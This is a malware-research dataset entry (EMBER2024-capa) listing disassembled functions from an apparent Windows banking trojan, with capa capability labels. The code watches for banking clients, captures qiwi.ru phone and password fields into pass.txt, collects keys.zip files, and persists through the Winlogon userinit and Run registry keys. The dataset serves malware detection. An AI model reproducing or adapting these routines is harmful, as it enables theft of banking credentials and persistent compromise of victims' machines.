joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001ff20
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
xor eax, eax
push ebx
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], eax
cmp dword [0x1005a2a4], eax
jne 0x100200b7
mov edi, dword [ebp + 0xc]
cmp edi, eax
je 0x100200b7
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push str.java_
push edi
call esi
test eax, eax
jne 0x100200b7
push str.windows_
push edi
call esi
test eax, eax
jne 0x100200b7
xor esi, esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test ebx, ebx
je 0x1001ffd7
lea eax, [ebx + ebx]
test eax, eax
je 0x1001ffc0
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1001ffbd
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, dword [ebp + 0xc]
test esi, esi
je 0x1001ffd7
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [esp + 0x10], esi
test esi, esi
je 0x100200b7
push 0x104
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x100200b7
mov ebx, dword [ebp + 8]
lea eax, [esp + 0x18]
push eax
xor esi, esi
push ebx
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x18]
cmp eax, 0x64
jb 0x100200ba
cmp eax, 0x5000
ja 0x100200ba
push 1
push esi
push esi
push ebx
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 4
push 0
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea ecx, [esp + 0x1c]
push ecx
push 4
lea edx, [esp + 0x20]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 4
push 0
push esi
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_UnlockFile]
test edi, edi
je 0x100200ba
mov ecx, dword [esp + 0x14]
xor eax, eax
cmp ecx, 0x534b4269
sete al
mov dword [esp + 0xc], eax
test eax, eax
je 0x10020094
mov dword [0x1005a2a4], 1
jmp 0x100200ba
xor edx, edx
mov eax, 0x4b50
cmp cx, ax
setne dl
mov eax, edx
mov dword [esp + 0xc], eax
test eax, eax
je 0x100200ba
mov dword [0x1005a2a4], 1
jmp 0x100200ba
mov ebx, dword [ebp + 8]
xor ecx, ecx
push ecx
push ecx
push ecx
xor eax, eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x100200f7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100200f7
mov eax, dword [esp + 0x10]
push eax
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10020560
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x100205a8
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x10020590
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x100205db
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x100205db
test byte [esp + 0xc], 2
jne 0x100205db
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x10020420
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10020628
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x10020628
test byte [esp + 0xc], 2
jne 0x10020628
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005c878
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.IBANK
push 0x1005c878
call fcn.100139d0
push 0x9c40
call ebx
call fcn.10020560
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100206c0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
xor esi, esi
push edi
mov edi, eax
mov dword [esp + 0x10], esi
cmp dword [0x1005a2ac], esi
je 0x100207c2
cmp dword [0x1005a2a8], esi
jne 0x100207c2
lea eax, [esp + 0x20]
push eax
push edi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x100207c2
lea eax, [ebx + 0x13]
and eax, 0xfffffff0
push eax
push 8
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x100207c2
mov ecx, dword [esp + 0x14]
push ecx
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x100207c2
push 1
push 0
push 0
push edi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
push 0
push eax
push edi
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea edx, [esp + 0x1c]
push edx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push ebx
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x24]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
cmp dword [esp + 0x20], 0
je 0x100207c2
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrA]
push str.BEGIN_SIGNATURE
push esi
call ebx
test eax, eax
je 0x100207c2
push str.END_SIGNATURE
push esi
call ebx
test eax, eax
je 0x100207c2
mov eax, 1
mov dword [0x1005a2a8], eax
mov dword [esp + 0x10], eax
xor ecx, ecx
push ecx
push ecx
push ecx
xor eax, eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test esi, esi
je 0x100207f7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100207f7
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10020e20
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalAAF799BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x10020e68
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalAAF799BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x10020e50
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x10020e9b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x10020e9b
test byte [esp + 0xc], 2
jne 0x10020e9b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x10020ce0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10020ee8
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x10020ee8
test byte [esp + 0xc], 2
jne 0x10020ee8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005c97c
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.INIST
push 0x1005c97c
call fcn.100139d0
push 0x9c40
call ebx
call fcn.10020e20
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10020f20
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10020f30
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10020f30
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push edi
push 0x1005ca80
call ebx
mov eax, 0x1005ca80
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10020f60
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10020f72
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10020fc1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10020fba
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x100210b6
lea eax, [ebp - 0x104]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10020fe0
mov ecx, dword [str.keys.zip]
mov edx, dword [0x10049f64]
mov dword [eax], ecx
mov cl, byte [0x10049f68]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.10029b30
test eax, eax
je 0x100210b6
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10021020
push 0x1005ca80
call ebx
mov eax, 0x1005ca80
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10021040
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10021052
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10021070
mov ecx, dword [str.path1.txt]
mov edx, dword [0x1004a610]
mov esi, dword [ebp + 8]
mov dword [eax], ecx
mov cx, word [0x1004a614]
mov dword [eax + 4], edx
mov word [eax + 8], cx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100210a0
sub eax, edx
push eax
push esi
lea eax, [ebp - 0x104]
call fcn.10007350
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10021590
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x100215d8
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x100215c0
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1002160b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1002160b
test byte [esp + 0xc], 2
jne 0x1002160b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x10021320
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10021658
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x10021658
test byte [esp + 0xc], 2
jne 0x10021658
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005ca80
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.INTER
push 0x1005ca80
call fcn.100139d0
push 0x9c40
call ebx
call fcn.10021590
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10021690
Capabilities:
Create thread
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [0x1005a2b4], 0
jne 0x100217be
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.cbsmain.dll
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x100217be
mov eax, dword [ebp + 8]
push 0x104
lea edx, [ebp - 0x104]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetAncestor]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp dword [0x1005a2b0], 0
jne 0x10021742
mov ecx, 0x1004a694
lea eax, [ebp - 0x104]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10021727
test dl, dl
je 0x10021723
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10021727
add eax, 2
add ecx, 2
test dl, dl
jne 0x10021707
xor eax, eax
jmp 0x1002172c
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov dword [0x1005a2b0], eax
test eax, eax
je 0x100217be
mov ecx, 0x1004a6a4
lea eax, [ebp - 0x104]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10021770
test dl, dl
je 0x1002176c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10021770
add eax, 2
add ecx, 2
test dl, dl
jne 0x10021750
xor eax, eax
jmp 0x10021775
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100217be
push esi
push eax
push eax
push eax
push 0x10021930
push eax
push eax
mov dword [0x1005a2b4], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100217bd
lea edx, [ebp + 8]
push edx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100217bd
test byte [ebp + 8], 2
jne 0x100217bd
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10021d30
Capabilities:
Create directory
Create thread
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
cmp dword [0x1005a2bc], 0
push ebx
push esi
push edi
jne 0x10021f19
mov edi, dword [ebp + 8]
test edi, edi
je 0x10021f19
cmp dword [edi], 0x20544547
jne 0x10021f19
cmp dword [0x1005a2b8], 0
jne 0x10021ed1
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push str.w.qiwi.ru
push edi
call esi
add esp, 8
test eax, eax
je 0x10021f19
push str.phone
push edi
call esi
add esp, 8
test eax, eax
je 0x10021f19
push str.password
push edi
call esi
add esp, 8
test eax, eax
je 0x10021f19
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x10021db0
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005cc88
call ebx
mov eax, 0x1005cc88
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10021dd6
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10021de8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x1005cc88
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
jmp 0x10021e10
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x210], cl
inc eax
test cl, cl
jne 0x10021e10
mov eax, 0x1005cc88
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10021e30
lea edi, [ebp - 0x210]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10021e40
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x210]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10007680
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10021e9d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10021e96
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, dword [ebp + 8]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10021eb2
sub eax, edx
push eax
push esi
mov eax, str.pass.txt
call fcn.10007350
mov dword [0x1005a2b8], 1
push 0
push 0
push 0
push 0x10021f30
push 0
push 0
mov dword [0x1005a2bc], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10021f19
lea ecx, [ebp + 8]
push ecx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10021f19
test byte [ebp + 8], 2
jne 0x10021f19
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10022800
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10022810
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10022810
push 0x1005ce90
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005ce90
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10022834
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10022846
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10022897
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10022890
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
pop edi
pop esi
test eax, eax
je 0x100228e3
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100228b1
mov ecx, dword [str.keys.zip]
mov edx, dword [0x10049f64]
mov dword [eax], ecx
mov cl, byte [0x10049f68]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.10029b30
mov esp, ebp
pop ebp
ret 4
Function at 0x10023b40
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10023b50
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10023b50
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push edi
push 0x1005d098
call ebx
mov eax, 0x1005d098
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10023b80
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10023b92
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10023be1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10023bda
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10023cd6
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.10029b30
test eax, eax
je 0x10023cd6
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10023c15
mov edx, dword [str.keys.zip]
mov ecx, dword [0x10049f64]
mov dword [eax], edx
mov dl, byte [0x10049f68]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10023c40
push 0x1005d098
call ebx
mov eax, 0x1005d098
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10023c60
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10023c72
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10023c90
mov ecx, dword [str.path1.txt]
mov edx, dword [0x1004a610]
mov esi, dword [ebp + 8]
mov dword [eax], ecx
mov cx, word [0x1004a614]
mov dword [eax + 4], edx
mov word [eax + 8], cx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023cc0
sub eax, edx
push eax
push esi
lea eax, [ebp - 0x104]
call fcn.10007350
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10024a10
Capabilities:
Check if file exists
Persist via run registry key
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, eax
mov dword [ebp - 8], 0
test esi, esi
je 0x10024bdd
lea edx, [eax + 1]
jmp 0x10024a30
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10024a30
sub eax, edx
push ebx
mov ebx, eax
je 0x10024bdc
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10024bdc
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 4]
push eax
push 0x103
push 0
push str.softwaremicrosoftwindows_ntcurrentversionwinlogon
push 0x80000002
call edi
test eax, eax
jne 0x10024b88
mov edx, dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 8]
push ecx
push eax
push eax
push eax
push str.userinit
push edx
call edi
mov eax, dword [ebp - 8]
lea ecx, [eax + ebx + 3]
mov dword [ebp - 8], ecx
call fcn.10014170
mov ebx, eax
test ebx, ebx
je 0x10024b6d
mov edx, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push ebx
push 0
push 0
push str.userinit
push edx
call edi
push esi
push ebx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10024b66
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10024ad1
sub eax, edx
je 0x10024af7
cmp byte [ebx + eax - 1], 0x2c
je 0x10024af7
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10024ae6
mov ax, word [0x1004aaa0]
mov word [edi], ax
mov eax, esi
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10024b00
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10024b10
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10024b30
mov cx, word [0x1004aaa0]
mov eax, ebx
mov word [edi], cx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10024b47
sub eax, edx
mov edx, dword [ebp - 4]
inc eax
push eax
push ebx
push 1
push 0
push str.userinit
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, ebx
call fcn.100141b0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 4]
push edx
push 0xf013f
push 0
push str.softwaremicrosoftwindowscurrentversion_run
push 0x80000001
call edi
test eax, eax
jne 0x10024bdb
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10024ba8
sub eax, edx
inc eax
push eax
mov eax, dword [ebp - 4]
push esi
push 1
push 0
push str.userinit
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret